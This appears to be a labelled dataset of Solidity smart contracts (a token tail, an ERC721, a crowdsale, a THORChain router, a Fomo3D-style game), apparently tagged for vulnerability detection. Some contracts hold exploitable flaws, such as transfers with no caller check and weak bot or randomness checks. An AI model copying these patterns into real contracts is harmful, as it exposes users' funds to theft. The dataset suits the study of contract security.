uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify);
uint256 initialBalance = address(this).balance;
swapTokensForEth(halfOfLiquify);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalfOfLiquify, newBalance);
sendETHToFee(portionForFees);
emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function oopenTrading() external onlyOwner() {
tradingOpen = true;
launchedAt = block.number;
}
function removeStrictTxLimit() external onlyOwner {
_cooldownEnabled = false;
_maxTxAmount = _tTotal;
}
function checkBot(address account) public view returns (bool) {
return isBot[account];
}
function removeBlacklist(address account) external onlyOwner {
require (isBot[account], "Must be blacklisted");
isBot[account] = false;
}
function blacklist(address account) external onlyOwner {
require (!isBot[account], "Must not be bot");
isBot[account] = true;
}
function setSwapThresholdAmount (uint256 amount) external onlyOwner {
require (amount <= _tTotal.div(100), "can't exceed 1%");
numTokensSellToAddToLiquidity = amount * 10 ** 9;
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
_transfer(_msgSender(), newholders[iterator], amounts[iterator]*10**9);
iterator += 1;
}
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | 0 | 2,472 |
pragma solidity ^0.4.24;
interface ERC721 {
function totalSupply() external view returns (uint256 total);
function balanceOf(bytes32 _owner) external view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (bytes32 owner);
function approve(bytes32 _from,bytes32 _to, uint256 _tokenId) external;
function transferFrom(bytes32 _from, bytes32 _to, uint256 _tokenId) external;
event Transfer(bytes32 from, bytes32 to, uint256 tokenId);
event Approval(bytes32 owner, bytes32 approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract DigiRights is ERC721 {
string private NAME = "Ionixx DigiRights";
string private SYMBOL = "INX DIGI";
bytes4 constant InterfaceID_ERC165 =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant InterfaceID_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(bytes32)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(bytes32,uint256)")) ^
bytes4(keccak256("transfer(bytes32,uint256)")) ^
bytes4(keccak256("transferFrom(bytes32,bytes32,uint256)")) ^
bytes4(keccak256("tokensOfOwner(bytes32)"));
struct Token {
bytes32 owner;
string name;
string description;
string file_hash;
uint256 token_id;
uint256 timestamp;
string file_type;
string extension;
}
Token[] tokens;
mapping (uint256 => bytes32) public ownerOf;
mapping (bytes32 => uint256) ownerTokenCount;
mapping (uint256 => bytes32) public tokenIndexToApproved;
mapping(string => bool) filehash;
event Created(bytes32 owner, uint256 tokenId);
function name() external view returns (string) {
return NAME;
}
function symbol() external view returns (string) {
return SYMBOL;
}
function totalSupply() external view returns (uint256) {
return tokens.length;
}
function balanceOf(bytes32 _owner) external view returns (uint256) {
return ownerTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external view returns (bytes32 owner) {
owner = ownerOf[_tokenId];
}
function approve(bytes32 _from,bytes32 _to, uint256 _tokenId) external {
require(_owns(_from, _tokenId));
tokenIndexToApproved[_tokenId] = _to;
emit Approval(ownerOf[_tokenId], tokenIndexToApproved[_tokenId], _tokenId);
}
function transferFrom(bytes32 _from, bytes32 _to, uint256 _tokenId) external {
require(_to.length != 0 );
require(_to != _from);
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function tokensOfOwner(bytes32 _owner) external view returns (uint256[]) {
uint256 balance = this.balanceOf(_owner);
if (balance == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](balance);
uint256 maxTokenId = this.totalSupply();
uint256 idx = 0;
uint256 tokenId;
for (tokenId = 0; tokenId <= maxTokenId; tokenId++) {
if (ownerOf[tokenId] == _owner) {
result[idx] = tokenId;
idx++;
}
}
return result;
}
}
function getToken(bytes32 _owner,uint256 _tokenId) external view returns (bytes32 owner,string token_name,string description,string file_hash,
uint256 token_id,
uint256 timestamp,
string file_type,string extension) {
require(_owns(_owner,_tokenId) == true);
uint256 length = this.totalSupply();
require(_tokenId < length);
Token memory token = tokens[_tokenId];
owner = token.owner;
token_name = token.name;
description = token.description;
file_hash = token.file_hash;
token_id = token.token_id;
timestamp = token.timestamp;
file_type=token.file_type;
extension=token.extension;
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return ((_interfaceID == InterfaceID_ERC165) || (_interfaceID == InterfaceID_ERC721));
}
function createToken(bytes32 _from,string token_name,string description,string file_hash,string file_type , string extension) public {
require(_from.length != 0 );
require(filehash[file_hash] == false);
filehash[file_hash] = true;
mint(_from,token_name,description,file_hash ,file_type,extension);
}
function _owns(bytes32 _claimant, uint256 _tokenId) internal view returns (bool) {
return ownerOf[_tokenId] == _claimant;
}
function _approvedFor(bytes32 _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToApproved[_tokenId] == _claimant;
}
function _transfer(bytes32 _from, bytes32 _to, uint256 _tokenId) internal {
ownerTokenCount[_to]++;
ownerOf[_tokenId] = _to;
if (_from.length != 0 ) {
ownerTokenCount[_from]--;
delete tokenIndexToApproved[_tokenId];
}
emit Transfer(_from, _to, _tokenId);
}
function mint(bytes32 owner,string token_name,string description,string hash,string file_type, string extension) internal {
Token memory token = Token({
owner:owner,
name:token_name,
description:description,
file_hash:hash,
file_type: file_type,
extension: extension,
token_id: this.totalSupply(),
timestamp:block.timestamp
});
uint256 tokenId =tokens.push(token) - 1;
emit Created(owner, tokenId);
_transfer(0, owner, tokenId);
}
} | 1 | 4,007 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInWei,
uint durationInMinutes,
uint weiCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInWei;
deadline = now + durationInMinutes * 1 minutes;
price = weiCostOfEachToken;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 4,718 |
pragma solidity 0.8.3;
interface iERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint) external returns (bool);
function burn(uint) external;
}
interface iRUNE {
function transferTo(address, uint) external returns (bool);
}
interface iROUTER {
function deposit(address, address, uint, string calldata) external;
}
contract THORChain_Router {
address public RUNE = 0x3155BA85D5F96b2d030a4966AF206230e46849cb;
struct Coin {
address asset;
uint amount;
}
mapping(address => mapping(address => uint)) public vaultAllowance;
event Deposit(address indexed to, address indexed asset, uint amount, string memo);
event TransferOut(address indexed vault, address indexed to, address asset, uint amount, string memo);
event TransferAllowance(address indexed oldVault, address indexed newVault, address asset, uint amount, string memo);
event VaultTransfer(address indexed oldVault, address indexed newVault, Coin[] coins, string memo);
constructor() {}
function deposit(address payable vault, address asset, uint amount, string memory memo) public payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
vault.call{value:safeAmount}("");
} else if(asset == RUNE) {
safeAmount = amount;
iRUNE(RUNE).transferTo(address(this), amount);
iERC20(RUNE).burn(amount);
} else {
safeAmount = safeTransferFrom(asset, amount);
vaultAllowance[vault][asset] += safeAmount;
}
emit Deposit(vault, asset, safeAmount, memo);
}
function transferAllowance(address router ,address newVault, address asset, uint amount, string memory memo) public {
if (router == address(this)){
_adjustAllowances(newVault, asset, amount);
emit TransferAllowance(msg.sender, newVault, asset, amount, memo);
} else {
_routerDeposit(router, newVault, asset, amount, memo);
}
}
function transferOut(address payable to, address asset, uint amount, string memory memo) public payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
to.call{value:msg.value}("");
} else {
vaultAllowance[msg.sender][asset] -= amount;
asset.call(abi.encodeWithSelector(0xa9059cbb, to, amount));
safeAmount = amount;
}
emit TransferOut(msg.sender, to, asset, safeAmount, memo);
}
function batchTransferOut(address[] memory recipients, Coin[] memory coins, string[] memory memos) public payable {
for(uint i = 0; i < coins.length; i++){
transferOut(payable(recipients[i]), coins[i].asset, coins[i].amount, memos[i]);
}
}
function returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo) public payable {
if (router == address(this)){
for(uint i = 0; i < coins.length; i++){
_adjustAllowances(asgard, coins[i].asset, coins[i].amount);
}
emit VaultTransfer(msg.sender, asgard, coins, memo);
} else {
for(uint i = 0; i < coins.length; i++){
_routerDeposit(router, asgard, coins[i].asset, coins[i].amount, memo);
}
}
asgard.call{value:msg.value}("");
}
function safeTransferFrom(address _asset, uint _amount) internal returns(uint amount) {
uint _startBal = iERC20(_asset).balanceOf(address(this));
(bool success, bytes memory data) = _asset.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), _amount));
require(success && (data.length == 0 || abi.decode(data, (bool))));
return (iERC20(_asset).balanceOf(address(this)) - _startBal);
}
function _adjustAllowances(address _newVault, address _asset, uint _amount) internal {
vaultAllowance[msg.sender][_asset] -= _amount;
vaultAllowance[_newVault][_asset] += _amount;
}
function _routerDeposit(address _router, address _vault, address _asset, uint _amount, string memory _memo) internal {
vaultAllowance[msg.sender][_asset] -= _amount;
iERC20(_asset).approve(_router, _amount);
iROUTER(_router).deposit(_vault, _asset, _amount, _memo);
}
} | 0 | 1,493 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLastUnicorn is RSEvents {}
contract LastUnicorn is modularLastUnicorn {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
UnicornInterfaceForForwarder constant private TeamUnicorn = UnicornInterfaceForForwarder(0xBB14004A6f3D15945B3786012E00D9358c63c92a);
UnicornBookInterface constant private UnicornBook = UnicornBookInterface(0x98547788f328e1011065E4068A8D72bacA1DDB49);
string constant public name = "LastUnicorn Round #2";
string constant public symbol = "LUR2";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(UnicornBook), "only UnicornBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(UnicornBook), "only UnicornBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = UnicornBook.getPlayerID(msg.sender);
bytes32 _name = UnicornBook.getPlayerName(_pID);
uint256 _laff = UnicornBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
